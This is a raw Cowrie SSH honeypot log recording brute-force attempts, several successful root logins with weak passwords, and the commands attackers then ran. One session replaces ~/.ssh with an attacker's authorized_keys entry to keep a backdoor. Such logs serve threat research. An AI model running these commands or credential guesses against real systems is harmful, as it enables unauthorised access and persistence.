03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:22:25.146156Z","src_ip":"43.155.21.198","session":"c59c6717fc9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aa","password":"Aa123","message":"login attempt [aa/Aa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:22:26.013787Z","src_ip":"43.155.21.198","session":"c59c6717fc9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:22:27.223507Z","src_ip":"43.155.21.198","session":"c59c6717fc9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58720,"dst_ip":"10.17.0.5","dst_port":22,"session":"639b7be8a324","protocol":"ssh","message":"New connection: 2.57.122.208:58720 (10.17.0.5:22) [session: 639b7be8a324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:22:48.762320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:22:48.804470Z","src_ip":"2.57.122.208","session":"639b7be8a324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:22:48.862723Z","src_ip":"2.57.122.208","session":"639b7be8a324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:22:49.264876Z","src_ip":"2.57.122.208","session":"639b7be8a324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:22:50.368323Z","src_ip":"2.57.122.208","session":"639b7be8a324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50720,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb43e8cae5d4","protocol":"ssh","message":"New connection: 162.120.6.20:50720 (10.17.0.5:22) [session: bb43e8cae5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:02.396401Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:02.467604Z","src_ip":"162.120.6.20","session":"bb43e8cae5d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":50722,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e709e404afa","protocol":"ssh","message":"New connection: 162.120.6.20:50722 (10.17.0.5:22) [session: 0e709e404afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:02.534366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:02.538967Z","src_ip":"162.120.6.20","session":"0e709e404afa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:02.608980Z","src_ip":"162.120.6.20","session":"0e709e404afa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"maggie","message":"login attempt [root/maggie] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:02.817377Z","src_ip":"162.120.6.20","session":"0e709e404afa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:02.997590Z","src_ip":"162.120.6.20","session":"0e709e404afa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:03.001037Z","src_ip":"162.120.6.20","session":"0e709e404afa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:03.075947Z","src_ip":"162.120.6.20","session":"0e709e404afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:03.081163Z","src_ip":"162.120.6.20","session":"0e709e404afa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":54476,"dst_ip":"10.17.0.5","dst_port":22,"session":"78186c7e3e31","protocol":"ssh","message":"New connection: 61.245.10.43:54476 (10.17.0.5:22) [session: 78186c7e3e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:04.165122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:04.169539Z","src_ip":"61.245.10.43","session":"78186c7e3e31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:04.420401Z","src_ip":"61.245.10.43","session":"78186c7e3e31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"1234","message":"login attempt [info/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:05.455445Z","src_ip":"61.245.10.43","session":"78186c7e3e31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:06.707690Z","src_ip":"61.245.10.43","session":"78186c7e3e31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":47432,"dst_ip":"10.17.0.5","dst_port":22,"session":"68f50ce8a4ef","protocol":"ssh","message":"New connection: 27.111.32.174:47432 (10.17.0.5:22) [session: 68f50ce8a4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:18.514544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:18.518722Z","src_ip":"27.111.32.174","session":"68f50ce8a4ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:18.767573Z","src_ip":"27.111.32.174","session":"68f50ce8a4ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshtunnel","password":"sshtunnel1234","message":"login attempt [sshtunnel/sshtunnel1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:19.806315Z","src_ip":"27.111.32.174","session":"68f50ce8a4ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":59866,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8ee04e98337","protocol":"ssh","message":"New connection: 147.50.103.212:59866 (10.17.0.5:22) [session: e8ee04e98337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:19.824015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:19.827853Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:20.090902Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:21.057756Z","src_ip":"27.111.32.174","session":"68f50ce8a4ef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qaz12345678!","message":"login attempt [root/Qaz12345678!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:21.173371Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:21.723988Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:21.726343Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:21.728945Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:21.994054Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:22.595469Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:22.599018Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:22.866915Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:22.870574Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":60776,"dst_ip":"10.17.0.5","dst_port":22,"session":"526a2fcb9dfd","protocol":"ssh","message":"New connection: 147.50.103.212:60776 (10.17.0.5:22) [session: 526a2fcb9dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:23.126403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:23.130563Z","src_ip":"147.50.103.212","session":"526a2fcb9dfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:23.394436Z","src_ip":"147.50.103.212","session":"526a2fcb9dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:24.477919Z","src_ip":"147.50.103.212","session":"526a2fcb9dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:25.743465Z","src_ip":"147.50.103.212","session":"526a2fcb9dfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":33336,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcdfb505b4b6","protocol":"ssh","message":"New connection: 147.50.103.212:33336 (10.17.0.5:22) [session: dcdfb505b4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:25.999825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:26.004190Z","src_ip":"147.50.103.212","session":"dcdfb505b4b6","protocol":"ssh"}
